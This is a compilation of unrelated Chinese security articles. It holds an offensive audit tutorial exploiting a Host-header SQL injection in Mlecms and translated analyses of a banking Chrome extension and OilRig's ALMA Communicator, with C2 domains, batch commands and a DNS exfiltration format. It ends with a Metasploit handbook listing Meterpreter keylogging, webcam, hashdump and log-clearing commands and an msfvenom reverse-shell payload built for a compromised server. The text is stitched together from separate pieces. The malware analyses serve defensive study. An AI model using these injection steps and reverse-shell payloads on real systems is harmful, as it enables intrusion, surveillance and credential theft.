### 前言
一篇说了一般审计中的流程，有的时候我们的目的并不是完整的审计一套系统，而是在搞事的过程中发现目标站或者旁站或者关联站点为开源cms，这时候的目的是尽快拿到可利用的漏洞。这时候当然也可以按部就班慢慢从框架流程看起，不过估计大伙都没这个心思，那么再来说说一些快速发现的漏洞挖掘方法。
**一、关注重点**
为了搞事，所以当然是从比较严重的问题开始看，xss csrf这些留到最后，先看命令执行，文件操作，sql这3块。这次主要说sql（因为发现的就是sql注入）
sql注入快速挖掘，第一步先看有没有全局的防御机制 比如很多cms都会在全局配置文件里有这么一块
foreach(array('_GET','_POST','_COOKIE') as $key=>$value){
$key = daddslashes($value);//daddslashes是addslashes函数的扩展版 增加了对数组的循环转义
}
比如这次目标Mlecms的代码 inc/include/globals.php行24
foreach(array('_GET','_POST','_COOKIE') as $_request){
foreach($_request as $i => &$n){
${$i} = daddslashes($n);
}
}
类似这样的代码，把GPC的内容都转义了一遍 碰上这样的情况 就不要再去想简单的跟踪请求参数来注入了 直接去找能重新引入单引号或者反斜杠的地方
比如下面的一些例子
> substr() //取到转义处，留下反斜杠
> $sth['xx'] //当变量为字符串时 取的是xx位置的一个字符
> stripslashes() //这三个就不解释了
> urldecode() //这三个就不解释了
> base64_decode() //这三个就不解释了
> parse_str() //parse_str之前会先urldecode
或者直接找除了GPC之外的能提交的内容 比如常见的X-Forwarded-For的注入 referer的注入 它们都来自$_SERVER数组
而且经常被认为是安全的而不进行处理。当然现在大伙儿（码农）意识都高了（其实是被搞怕了） 再不济也知道从X-Forwarded-For取到IP之后做个转义，更多的是拿到IP之后用正则校验一下是不是正常的IP 比如目标CMS
function get_ip(){
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$cip = $_SERVER["HTTP_CLIENT_IP"];
}else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if(!empty($_SERVER["REMOTE_ADDR"])){
$cip = $_SERVER["REMOTE_ADDR"];
}else{
$cip = '';
}
preg_match("/[\d\.]{7,15}/",$cip,$cips);
$cip = isset($cips[0]) ? $cips[0] : 'unknown';
unset($cips);
return $cip;
}
可以看到最后用`/[\d\.]{7,15}/`这条正则匹配了一下 这里不说这样判断IP是否正确，至少除了数字和点之外 混不进其他字符了
没有了单引号也就几乎没有了注入的可能。
**二、实战**
上一段说了不少能引入单引号或者绕过全局转义的地方，那么就来实战一下 这里从$_SERVER开始，为了快速发现问题 一些搜索技巧必须熟练
比如这里我用的一条正则
(SELECT|INSERT|UPDATE|DELETE).*\$_SERVER
简单给不懂正则的童鞋解释一下这条正则的意思是 有`(SELECT|INSERT|UPDATE|DELETE)`其中之一且后面出现了`$_SERVER`
如果能在sql语句拼接中出现不会被转义的$_SERVER内容的话，很有可能就是一个注入了 不得不说，审代码 运气也很重要，还真被我搜到一处
inc/lib/admin.lib.php 行46
public static function logs($type,$info){
global $db,$admin_config,$gmt_time;
if($admin_config['logs_open'] == 1){
$sql = "INSERT INTO `{$db->prefix}logs` (`type`,`info`,`pageurl`,`lang`,`username`,`ip`,`ipaddress`,`addtime`) VALUES ('{$type}','{$info}','http://{$_SERVER['SERVER_NAME']}".substr(get_url(),0,200)."','".LANG."','{$_SESSION['admin']['login']['username']}','".get_ip()."','".ip::get_address(get_ip())."','".$gmt_time."');";
$db->execute($sql);
}
`$_SERVER['SERVER_NAME']`被拼进了sql语句，`$_SERVER['SERVER_NAME']`是什么鬼，能吃么？能伪造么?
答案是肯定的 来看看php官方对SERVER_NAME的定义
中文版
> 'SERVER_NAME' 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中，该名称是由那个虚拟主机所设置的值决定。
英文版
> 'SERVER_NAME' The name of the server host under which the current script is
> executing. If the script is running on a virtual host, this will be the
> value defined for that virtual host.
>
> Note: Under Apache 2, you must set UseCanonicalName = On and ServerName.
> Otherwise, this value reflects the hostname supplied by the client, which
> can be spoofed. It is not safe to rely on this value in security-dependent
> contexts.
有没有发现 英文版多了点东西 简单翻译一下： 在apache2 下 如果你没有设置ServerName或者没有把UseCanonicalName 设置为
On的话，这个值就会是客户端提供的hostname 不安全哟
所以老师说英语学得好 爸爸回家早 噢不 渗透搞得好
那么这个客户端提供的hostname是什么鬼呢，其实就是http包中的Host: 字段的值
那么又有人说了，如果修改了Host字段的值，那配置了ServerName的web容器怎么判断是哪个虚拟主机呢
这里就要说另一个有意思的事了，如果我们的http包中有两个或者多个Host值 会是什么情况呢
对于apache来说，不管你有多少个 它只取第一个
对于php来说，不管你有多少个，它全要了 是的 全要了。。 比如
Host:a.com Host:b.com
php的`$_SERVER['SERVER_NAME']`会取到 a.com, b.com 用逗号分隔的两个host值 这下就好办了
**三、利用**
logs函数在后台登陆的时候会被调用，不管登录成功与否，都会调用logs()函数写入登录记录，利用的话 随便填账号密码 burp或者fiddler拦下来
添加一个Host头 然后查看结果就好了
如图
### 总结
写文章好累。。。
快速漏洞挖掘需要积累常见漏洞触发点，函数，语言特性等等。
顺便建议不会正则的看看正则表达式入门，提高搜索效率、挖漏洞也能碰上不少正则，到时候看不懂错失0day就亏了。
原文地址：http://bbs.ichunqiu.com/thread-13714-1-1.html?from=seebug
* * * | 社区文章 |
# Chrome恶意扩展插件——MitM
|
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com/
原文地址：<https://securelist.com/a-mitm-extension-for-chrome/86057/>
译文仅供参考，具体内容表达以及含义原文为准。
浏览器插件的出现，让我们的生活变得更加轻松：它们为我们隐藏碍眼的广告，替我们翻译文本，帮助我们在网上商店中比较商品等。但也存在一些不太让人满意的插件，比如那些对我们进行广告轰炸，或者收集我们活动信息的插件，而与将盗取钱财作为主要目的的插件相比，这些又显得那么的微不足道。为了保护我们的客户，我们自动化处理了大量的不同来源的插件，这当然包括了从Chrome网上应用店下载并分析那些看起来可疑的插件。最近就有一个插件引起了我们的特别关注，因为它曾与一个可疑域名进行通信。
这个Chrome浏览器插件名为 _DesbloquearConteúdo_
（葡萄牙语，意为“解密文本内容”），目标是巴西网上银行服务器上的用户，因为我们追踪到它的所有安装企图都发生在巴西。此恶意插件的目的是收集用户的登录用户名和密码，然后从他们的银行账户里窃取资金。卡巴斯基实验室也检测到了此恶意插件并将其命名为
_HEUR：Trojan-Banker.Script.Generic_ 。
_检测到的恶意插件的其中一个脚本fundo.js的地理分布_
截至本文发布之前，恶意插件已从Chrome Web应用商店中清除。
_Chrome Web应用商店中的该恶意插件_
## 分析
恶意浏览器插件通常会使用不同的技术（例如[混淆](https://securelist.com/threats/obfuscation-glossary/)）来逃避安全软件的检测。然而，这个特定插件的开发者并没有混淆它的源代码，而是选择了另一种不同的方法。这款恶意软件使用WebSocket协议进行数据通信，从而可以实时与C＆C服务器互发消息，这就意味着C＆C变成了代理服务器，当受害者访问巴西银行的网站时，插件就会将其重定向到该服务器，从本质上讲，这是一种[中间人](https://securelist.com/threats/man-in-the-middle-attack-glossary/)攻击。
该 _DesbloquearConteúdo_ 插件包括两个JS脚本。让我们来仔细观察一下。
## fundo.js
在这个脚本代码中，我们最先关注到函数 _websocket_init()_
，这个函数用来建立WebSocket连接，然后从服务器（ws://exalpha2018[.]tk:2018）下载数据并将其保存到’manualRemovalStorage’下的chrome.storage。
_通过WebSocket连接从C＆C下载数据_
_插件下载数据并以JSON格式存储_
通过向 _hxxp://exalpha2018[.]tk/contact-server/?modulo=get_
发送请求，插件得到需要将用户流量重定向到的IP地址。
_向C＆C服务器请求IP地址_
_用户流量需要重定向到的IP_
这里的代理自动配置(Proxy Auto Configuration)技术值得一提，现代浏览器通常使用了一个用JavaScript编写的只有一个函数（
_FindProxyForURL_ ）的特殊文件。在此函数中，浏览器定义了使用哪个代理服务器来建立与各个域名的连接。
而fundo.js脚本在函数调用 _implement_pac_script_ 时使用了代理服务器自动配置技术，该技术会用一个新的函数取代
_FindProxyForURL_ ，并将用户流量重定向到恶意服务器，但只有当用户访问巴西银行的网页时才会这样。
_更改浏览器信息以重定向用户流量_
## pages.js
在这个脚本中，最重要的代码片段如下图所示：
_该插件在银行网页上下载恶意代码_
就像 _fundo.js一样_ ，从服务器下载的数据也被保存到 _manualRemovalStorage_
中。这些数据包括几家巴西银行的域名以及浏览器在用户访问相关网站时应执行的代码。
_pages.js_ 从域名 _ganalytics[.]ga_ 下载以下脚本并在银行网站上启动：
* ganalytics[.]ga/bbf.js,
* ganalytics[.]ga/bbj.js,
* ganalytics[.]ga/cef.js,
* ganalytics[.]ga/itf.js,
* ganalytics[.]ga/itf_new.js.
_Web杀毒软件监测到的尝试与ganalytics[.]ga进行通信的统计图_
以上所有脚本都具有相似的功能，并且设计目的都是为了窃取用户的凭证。我们来看看其中一个。
## cef.js
该脚本的功能之一是将特定的HTML恶意代码注入到网上银行系统的主页中。
_向网站主页注入恶意代码_
仔细查看向服务器发送请求后的返回代码，可以发现对银行网站上用于身份验证的一次性密码的收集行为。
_截取到的用户的一次性密码_
如果用户在输入用户名和密码登录的页面，脚本会创建一个“Enter”的克隆按钮，然后还会创建一个函数来单击此按钮，此后密码就会存储在该函数的cookie文件中，以便后续传送到C＆C服务器，然后再单击被覆盖且隐藏的真实按钮进行正常行为以隐藏整个截取过程。
_创建“Enter”按钮的副本，并截取网上银行服务的登录用户名和密码_
_将所有截获的数据发送给C＆C_
对此次攻击中使用的网络资源的进行分析（由KL威胁情报部门提供）后得到了一些有趣的信息。特别是，上述ganalytics[.]ga在Gabon域名区注册，这就是为什么WHOIS服务没有提供有关它的详细信息的原因：
_ganalytics[.]ga的WHOIS信息_
但是，其托管的IP地址也与其他几个有趣的域名相关联。
_KSN上的DNS数据片段_
显然，这个IP地址已经（或已经）与其他几个在巴西的域名区注册的tell-tale名中包含 _advert，stat，analytic_
关键字的域名相关联，值得注意的是，在去年秋天，他们中大部分都参与了网络挖矿，都带有当访问巴西合法银行网站受到访问时就会下载的挖矿脚本。
_KSN上有关advstatistics.com[.]br的数据碎片_
当用户访问合法站点时就会加载恶意软件，这就意味着在用户计算机上存在本地流量篡改。另外，该插件的目标是巴西用户，并且使用了与以前的攻击中使用的相同IP地址，这一系列事实都表明，此浏览器插件（或其相关版本）早些时候曾具有在用户访问的银行网站时，将数字加密货币挖矿脚本添加到当插件程序下载到他们的设备的功能。
## 结论
用于窃取登录名和密码的浏览器插件非常罕见。但鉴于他们可能造成的潜在危害，我们需要对其认真对待。我们建议用户只在Chrome网上应用店或其他官方服务渠道中，安装具有大量安装量和评论的已验证的扩展插件程序。尽管这些服务器的所有者也采取了保护措施，但恶意扩展仍可能最终在其中发布，比如我们在文中讨论的情况。此外，在设备上安装安全产品并且在插件有可疑行为时发出警告也是一种有效的措施。 | 社区文章 |
# 【技术分享】深入分析OilRig的DNS隧道木马-ALMA Communicator
|
##### 译文声明
本文是翻译文章，文章来源：paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
Unit 42自从[2016年五月份](https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/)开始就一直在密切跟踪[黑客组织
**OilRig**](https://researchcenter.paloaltonetworks.com/tag/oilrig/)
的一举一动。根据我们研究人员的观察与发现，从2016年五月份开始，这个名叫OilRig的黑客组织在其网络钓鱼攻击活动中开始使用[ **Clayslide**
文档](https://researchcenter.paloaltonetworks.com/tag/clayside/)来作为钓鱼邮件的附件。在2017年四月份，我们还发布了一篇分析文章专门给大家介绍了OilRig黑客组织是如何开发和优化这种Clayslide文档的，感兴趣的同学可以阅读一下【[文章传送门](https://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/)】。
近期，我们又观察到了一种新版本的Clayslide文档，它的开发人员将其称之为“ **ALMA Communicator**
”，而OilRig的攻击者可以使用Clayslide文档在目标用户的主机中安装一种新型的自定义木马。这种恶意文档还可以存储类似Mimikatz之类的后渗透凭证收集工具，而研究人员则认为攻击者引入这种功能的最终目的还包括从目标用户的主机中收集账号凭证信息。虽然我们现在还没有拿到详细的数据，但是我们有理由相信这种攻击活动针对的是中东地区一家公共事业公司的个人用户。
**新型的Clayslide文档**
近期出现的最新版本Clayslide文档其运行机制与之前的Clayslide文档非常相似，它一开始会给用户显示一个“不兼容”的Excel工作表，并声称这个Excel文件是使用一个更新版本的Excel创建的，因此用户需要点击“启用内容”来查看该文档的内容。如果用户点击了“启用内容”之后，文件会显示一个隐藏的工作表并触发恶意宏的运行，而这个隐藏的工作表中包含的是攻击者所设置的“诱饵”内容，隐藏工作表中的内容大致如下图所示：
当“诱饵”内容显示给用户之后，恶意宏会从这个“不兼容”工作表中的某个特定单元格中开始访问数据，并创建一个 **.HTA**
文件，然后将其存储至路径%PUBLIC%tmp.hta之中，最后再使用mshta.exe应用程序来打开这个文件。这个.HTA文件中包含HTML代码，而这些代码将运行一个VBScript脚本并在目标用户的主机中运行最终的恶意Payload。
恶意Payload过程描述如下：首先，.HTA会创建一个名叫%PUBLIC%{5468973-4973-50726F6A656374-414C4D412E-2}的文件夹，然后再向这个文件夹中写入三个文件，这三个文件的文件名分别为：
SystemSyncs.exe
m6.e
cfg
.HTA文件中包含两个已编码的可执行文件，随后它会对这两个文件进行解码，并将其写入m6.e和SystemSyncs.exe中。.HTA文件还包含一个Base64编码的配置文件，解码之后便会被写入cfg文件之中，而恶意木马之后需要使用这些配置信息来获取C2域名，并使用它来与攻击者进行通信。在该攻击活动之中，保存在cfg文件中的C2域名为prosalar[.]com。
SystemSyncs.exe文件（SHA256:
2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e）是一个由OilRig黑客组织开发出来的自定义木马，这个木马就是“ALMA
Communicator”，我们待会儿会在接下来的章节中对其进行详细介绍。
.HTA文件所释放出来的“m6.e”文件其实是Mimikatz工具的变种版本（SHA256:
2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c）。在此之前，我们曾见到过OilRig黑客组织在其后渗透活动中使用Mimikatz工具来收集凭证信息。但是，这一次是我们第一次发现OilRig组织在攻击的感染阶段就使用Mimikatz工具。考虑到ALMA
Communicator的C2通信功能以及性能限制，我们认为释放这一额外工具（Mimikatz变种）的就是该组织所使用的Clayslide文档，待会儿也会对这部分内容进行详细分析。
.HTA文件中的VBScript负责执行SystemSyncs.exe
Payload，并且还会通过创建一个计划任务来实现攻击持久化。之前的Clayslide文档主要通过schtask应用程序（通过命令提示窗）来创建计划任务，而这个.HTA文件中的VBScript使用的是编程的方式（使用Schedule.service对象）来创建计划任务。请大家看下面这张截图，计划任务创建成功之后，
ALMA Communicator Payload每两分钟就会执行一次（配合命令行参数“Lock”）：
**ALMA Communicator木马**
ALMA
Communicator木马是一款后门木马，它使用了DNS隧道来从攻击者那里接收控制命令并从目标主机中提取数据。随后，这个木马会从Clayslide文档所创建的cfg文件中读取配置信息。ALMA中并不包含内部配置文件，所以如果没有这个cfg文件的话，该木马就无法正常运行了。
在读取完配置文件之后，该木马会创建两个文件夹，即Download和Upload。ALMA使用Download文件夹来保存C2服务器提供的批处理文件，这些文件之后会运行。ALMA使用Upload文件夹来存储批处理文件执行后的输出，最终这些数据会发送给C2服务器。
ALMA
Communicator使用了DNS隧道来作为其C2通信信道，这种DNS隧道使用了一种特殊的协议，并且使用了专门的子域名来给C2服务器传输数据，而服务器使用了专门的IPv4地址来给木马发送数据。
在构建这种专门的子域名时，木马会生成一个随机的四位数字，并连接一个硬编码字符串，最后再在字符串末尾添加一个用于标识受感染系统的唯一标识符。为了生成这个唯一标识符，该木马会从目标系统的注册表中获取ProductId，该参数位于SOFTWAREMicrosoftWindows
NTCurrentVersionProductId。如果无法找到这个注册表键，它将会使用硬编码值00000-00000-00000-00000。接下来，它还会获取当前系统的用户名，后面跟上一个下划线并加上ProductId字符串。该木马会计算这个字符串的MD5哈希，然后将其作为受感染系统的唯一标识符。最后，它会添加硬编码的-0-2D-2D字符串来结束子域名（用于C2服务器通信）的构造。下图显示的是域名的结构：
为了让大家更清楚地了解ALMA生成的唯一标识符，我们假设测试系统的用户名和ProductId创建的字符串为Administrator_00000-00000-00000-00000，其MD5哈希为35ead98470edf86a1c5a1c5fb2f14e02。接下来，该木马会选取MD5哈希中的第1、5、9、13、17、21、25和29个字符，并将其组合生成唯一标识符字符串3d7f11b4。具体如下图所示:
C2服务器将会使用A记录中的IPv4地址来回应DNS请求，而木马将会从这些请求中解析出两个IP地址，一个用于标识数据传输（C2->木马）的开始，一个用于标识数据传输（C2->木马）的结束。这两个特殊的IP地址如下：
开始– 36.37.94.33 ($%^!)
结束– 33.33.94.94 (!!^^)
在我们的分析过程中，C2服务器发送给我们的分析系统的数据如下所示（“$%^!”和“ !!^^”分别代表数据的起始部分和末尾部分）：
$%^!_DnsInit.bat@echo off & chcp 65001rnecho
%userdomain%\%username% 2>&1 & echo %computername% 2>&1 & echo
________________________________Task__________________________________
& schtasks /query /FO List /TN "Google_{50726F6A656374- 414C4D41-48747470}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1
& schtasks /query /FO List /TN "Micro_{50726F6A656374- 414C4D41-446E73-2}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo
______________________________________________________________________ !!^^
基于C2服务器传回的数据，该木马会使用数据中的命令来创建一个名叫_DnsInit.bat的文件，然后将其存储在Download文件夹中。接下来，该木马会枚举该文件夹中的文件名，然后使用批处理脚本的路径作为命令行参数来创建一个cmd.exe进程。在进程开始运行之前，该木马还会加上下面这行命令行参数：
rnDEL /f /q ”%~0”|exit
下面给出的是该木马在向C2服务器发送数据时所使用的DNS查询语句的结构：
[random 4 digits]ID[unique identifier]-[number of DNS queries needed]-[string of hexadecimal bytes for sent data]-[string of hexadecimal bytes for filename being sent].prosalar[.]com
其中每一次DNS请求一次只能发送10个字节的数据，下面给出的是当测试系统运行了_DnsInit.bat脚本之后所发送的第一条DNS查询：
由此可以看出，ALMA Communicator的C2信道在数据传输时有一定的性能限制，如果你想使用ALMA
Communicator来提取大型文件的话，则会产生大量的出境DNS请求。可能正是因为这个原因，OilRig黑客组织才会选择利用Clayslide文档来携带Mimikatz工具并使用它来从受感染的系统中提取数据（后渗透阶段）。
**总结**
目前OilRig黑客组织仍在他们的攻击活动中使用这种Clayslide文档，从我们对当前Clayslide变种的分析中可以看出，该黑客组织现在还在这类文档中尝试新的安装技术以及检测绕过技术。
**入侵威胁指标IoC**
f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111 (Clayslide)
2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e (ALMA Communicator)
2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c (Mimikatz)
prosalar[.]com | 社区文章 |
# Metasploit Framework Handbook（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
众所周知`Metasploit`工具是一款强大的渗透测试利器，在渗透测试中堪称一条龙服务，那么很多人真的能够认识到它其中的强大之处吗，了解其中的每部分功能吗，还是说在个别人眼中只是一个由虚拟机搭建的一个小拓扑使用其直接攻打windows主机拿到主机权限就结束了吗，事实上`Metasploit`这款工具能做的事情很多，包括：情报(信息)搜集、目标识别、服务枚举、漏洞探测、漏洞利用、权限提升、权限维持、社会工程、内网渗透等一系列操作。
由于网上大部分相关文章对于`Metasploit`框架没有一个整体而完整的讲解，很多都是讲述的某一个功能点或者漏洞的使用，比如：如何使用Metasploit进行内网代理渗透、如何使用Metasploit打开对方电脑摄像头、如何使用Metasploit监视对方主机、如何使用Metasploit利用永恒之蓝漏洞攻击Windows主机、Metasploit基础、Metasploit指令用法等等，这一现象也就造成了知识点的零碎、意乱，一定程度上导致初学者的盲目、误导等。
正因如此自己才打算总结整理一份关于`Metasploit`框架的使用手册：`Metasploit Framework Handbook`
主要讲述的是`Metasploit`框架的一个整体使用手册（包括工具模块的解读+实战操作），该手册主要分为四部分，如下：
* 第一部分：Metasploit Framework Handbook (一)
Metasploit解读+实战操作（发展、框架、安装、配置、指令解读、情报搜集、渗透测试）
* 第二部分：Metasploit Framework Handbook (二)
Meterpreter解读+实战操作（指令解读、内网渗透-后渗透-1）
* 第三部分：Metasploit Framework Handbook (三)
Meterpreter解读+实战操作（内网渗透-后渗透-2）
* 第四部分：Metasploit Framework Handbook (四)
MSFvenom解读+实战操作（指令解读、后门木门）
继`Metasploit Framework Handbook(一)`，本文`Metasploit Framework Handbook
(二)`主要讲述的是手册的第二部分：Meterpreter解读+实战操作（指令解读、内网渗透-后渗透-1）
## Meterpreter
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力。
### 技术优势
* 平台通用性
Metasploit 提供了各种主流操作系统和平台上的 Meterpreter 版本，包括 Windows，Linux，BSD 系统，并且同时支持 x86
和 x64 平台。另外，Meterpreter 还提供了基于 Java 和 PHP 的实现，以应用在各种不同的环境中。
* 纯内存工作模式
执行漏洞渗透攻击的时候，会直接装载 Meterpreter 的动态链接库到目标系统进程的内存空间。而不是先将 Meterpreter
上传到磁盘，然后调用`Loadlibrary` 加载动态链接库来启动Meterpreter。
这种纯内存工作模式的好处就是启动隐蔽，很难被杀毒软件监测到。此外，也不需要访问目标主机的磁盘，基本不会留下入侵的证据。虽然现在的内存分析与提取技术能事后捕获到Meterpreter
的蛛丝马迹，但这种技术不仅难度大，而且成功率低。并且这种模式不会创建新的进程。
* 灵活且加密的通信协议
Meterpreter 还提供了灵活加密的客户端服务通信协议，能够对网络传输进行加密，同时这种通信技术支持灵活的功能扩展。
Meterpreter 的网络通信协议采用 TLV 数据封住格式。
* 易于扩展
Meterpreter 在功能上来说不是一般的 ShellCode 能比拟的，但如果用户需要一些特殊或者定制的功能，也可以轻易的在 Meterpreter
中添加扩展（或插件）来实现。
### 命令解读-Windows
Windows下的Meterpreter命令解读
**核心命令**
Core Commands
=============
Command Description
------- ----------- ? 帮助手册
background 将当前会话放置后台
bg background命令的别名
bgkill 杀死meterpreter后台运行的脚本
bglist 列出meterpreter后台运行的脚本
bgrun 在后台运行一个meterpreter脚本
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding 关闭Unicode字符串的编码
enable_unicode_encoding 启用Unicode字符串的编码
exit 关闭退出 meterpreter session
get_timeouts 查看当前会话超时信息
guid 查看会话GUID
help 帮助手册
info 展示post模块信息
irb 在当前会话中打开一个交互式的Ruby shell
load 加载一个或多个meterpreter扩展
machine_id Get the MSF ID of the machine attached to the session
migrate 进程迁移（将Meterpreter会话移植到指定pid值进程中）
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit 关闭退出 meterpreter session
read Reads data from a channel
resource 运行存储在文件中的命令（运行批处理文件）
run 执行一个 meterpreter 脚本 或 Post 模块
secure (Re)Negotiate TLV packet encryption on the session
sessions 快速切换到另一个会话中（sessions -i ID）
set_timeouts 设置当前会话超时信息
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use "load"的别名（已弃用）
uuid 获取当前会话的uuid信息
write Writes data to a channel
**文件系统命令**
Stdapi: File system Commands
============================
Command Description
------- ----------- cat 读取会话系统中某一个文件的内容并显示
cd 改变当前目录
checksum 检索文件的校验和
cp 文件复制操作
dir 列出当前目录下的文件 (ls的别名)
download 从当前目录下载某一个文件
edit 编辑文件
getlwd 打印本地当前工作目录
getwd 打印工作目录
lcd 改变本地工作目录
lls 列出本地目录下的文件
lpwd 打印本地当前工作目录
ls 列出目录下所有文件
mkdir 创建文件夹
mv 移动文件
pwd 打印当前工作目录
rm 删除某个特殊文件
rmdir 删除某个目录
search 搜索文件
show_mount List all mount points/logical drives
upload 上传文件或一个目录
**网络命令**
Stdapi: Networking Commands
===========================
Command Description
------- ----------- arp 显示ARP缓存
getproxy 查看当前代理配置
ifconfig 查看网络接口信息
ipconfig 查看网络接口信息
netstat 查看网络连接情况
portfwd 端口转发
resolve Resolve a set of host names on the target
route 查看和修改路由表
**系统命令**
Stdapi: System Commands
=======================
Command Description
------- ----------- clearev 清除windows中的应用程序日志、系统日志、安全日志
drop_token Relinquishes any active impersonation token.
execute 执行一个命令
getenv 获取一个或多个换几个环境变量
getpid 获取当前会话进程ID(pid)
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid 查看权限
kill 杀死进程（kill <pid>）
localtime 获取目标系统当前日期和时间
pgrep 通过名字(特定字符串)查询相关进程
pkill 通过进程名关闭进程
ps 查询列出当前运行的进程信息
reboot 重启远程计算机
reg 修改远程计算机注册表
rev2self Calls RevertToSelf() on the remote machine
shell 进入目标系统交互式shell终端
shutdown 将远程计算机关机
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo 获取远程计算机系统详细信息
**用户接口命令**
Stdapi: User interface Commands
===============================
Command Description
------- ----------- enumdesktops 查看所有可用的桌面
getdesktop 获取当前meterpreter关联的桌面
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump 导出键盘记录数据
keyscan_start 开始键盘记录
keyscan_stop 关闭键盘记录
mouse Send mouse events
screenshare 查看远程用户桌面信息
screenshot 捕获目标屏幕快照信息(截屏)
setdesktop 设置meterpreter关联的桌面
uictl 开启或禁止键盘/鼠标（uictl disable/enable keyboard/mouse/all）
**网络摄像头命令**
Stdapi: Webcam Commands
=======================
Command Description
------- ----------- record_mic Record audio from the default microphone for X seconds
webcam_chat 开启视频聊天
webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频
**视频播放命令**
Stdapi: Audio Output Commands
=============================
Command Description
------- ----------- play 从目标系统播放音频
**提权命令**
Priv: Elevate Commands
======================
Command Description
------- ----------- getsystem 尝试去提权
**密码捕获命令**
Priv: Password database Commands
================================
Command Description
------- ----------- hashdump 查看SAM数据库信息
**时间戳命令**
Priv: Timestomp Commands
========================
Command Description
------- ----------- timestomp 操纵文件MACE属性
### 命令解读-Linux
Linux下的Meterpreter命令解读
**核心命令**
Core Commands
=============
Command Description
------- ----------- ? 帮助手册
background 将当前会话放置后台
bg background命令的别名
bgkill 杀死meterpreter后台运行的脚本
bglist 列出meterpreter后台运行的脚本
bgrun 在后台运行一个meterpreter脚本
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding 关闭Unicode字符串的编码
enable_unicode_encoding 启用Unicode字符串的编码
exit 关闭退出 meterpreter session
get_timeouts 查看当前会话超时信息
guid 查看会话GUID
help 帮助手册
info 展示post模块信息
irb 在当前会话中打开一个交互式的Ruby shell
load 加载一个或多个meterpreter扩展
machine_id Get the MSF ID of the machine attached to the session
migrate 进程迁移（将Meterpreter会话移植到指定pid值进程中）
pry Open the Pry debugger on the current session
quit 关闭退出 meterpreter session
read Reads data from a channel
resource 运行存储在文件中的命令（运行批处理文件）
run 执行一个 meterpreter 脚本 或 Post 模块
secure (Re)Negotiate TLV packet encryption on the session
sessions 快速切换到另一个会话中（sessions -i ID）
set_timeouts 设置当前会话超时信息
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use "load"的别名（已弃用）
uuid 获取当前会话的uuid信息
write Writes data to a channel
**文件系统命令**
Stdapi: File system Commands
============================
Command Description
------- ----------- cat 读取会话系统中某一个文件的内容并显示
cd 改变当前目录
checksum 检索文件的校验和
cp 文件复制操作
dir 列出当前目录下的文件 (ls的别名)
download 从当前目录下载某一个文件
edit 编辑文件
getlwd 打印本地当前工作目录
getwd 打印工作目录
lcd 改变本地工作目录
lls 列出本地目录下的文件
lpwd 打印本地当前工作目录
ls 列出目录下所有文件
mkdir 创建文件夹
mv 移动文件
pwd 打印当前工作目录
rm 删除某个特殊文件
rmdir 删除某个目录
search 搜索文件
upload 上传文件或一个目录
**网络命令**
Stdapi: Networking Commands
===========================
Command Description
------- ----------- portfwd 端口转发
**系统命令**
Stdapi: System Commands
=======================
Command Description
------- ----------- execute 执行一个命令
getenv 获取一个或多个换几个环境变量
getpid 获取当前会话进程ID(pid)
getuid 查看权限
kill 杀死进程（kill <pid>）
localtime 获取目标系统当前日期和时间
pgrep 通过名字(特定字符串)查询相关进程
pkill 通过进程名关闭进程
ps 查询列出当前运行的进程信息
shell 进入目标系统交互式shell终端
sysinfo 获取远程计算机系统详细信息
**视频播放命令**
Stdapi: Audio Output Commands
=============================
Command Description
------- ----------- play 从目标系统播放音频
### 实战攻略
**环境准备**
以得到Windows下的Meterpreter来演示相关实战操作（拿下一台www服务器，反弹一个meterpreter终端）
* 网络拓扑
网络分布主要分为外网和内网两大部分，在边界路由器中外网IP段为：`192.33.6.0/24`、内网IP网段为：`192.168.9.0/24`
* msfvenom制作后门反弹shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.33.6.150 lport=3333 -f exe -o msf.exe
* 实战利用：已得到www服务器后门webshell，上传msf.exe，执行反弹后门shell
**基本系统操作指令**
* 指令指南
Command Description
------- ----------- background 将当前会话放置后台
bg background命令的别名
exit/quit 关闭退出 meterpreter session
info 展示post模块信息
load 加载一个或多个meterpreter扩展
run 执行一个 meterpreter 脚本 或 Post 模块
sessions 快速切换到另一个会话中（sessions -i ID）
use "load"的别名（已弃用）
getuid 查看权限
kill 杀死进程（kill <pid>）
pgrep 通过名字(特定字符串)查询相关进程
pkill 通过进程名关闭进程
ps 查询列出当前运行的进程信息
reboot 重启远程计算机
shell 进入目标系统交互式shell终端
shutdown 将远程计算机关机
sysinfo 获取远程计算机系统详细信息
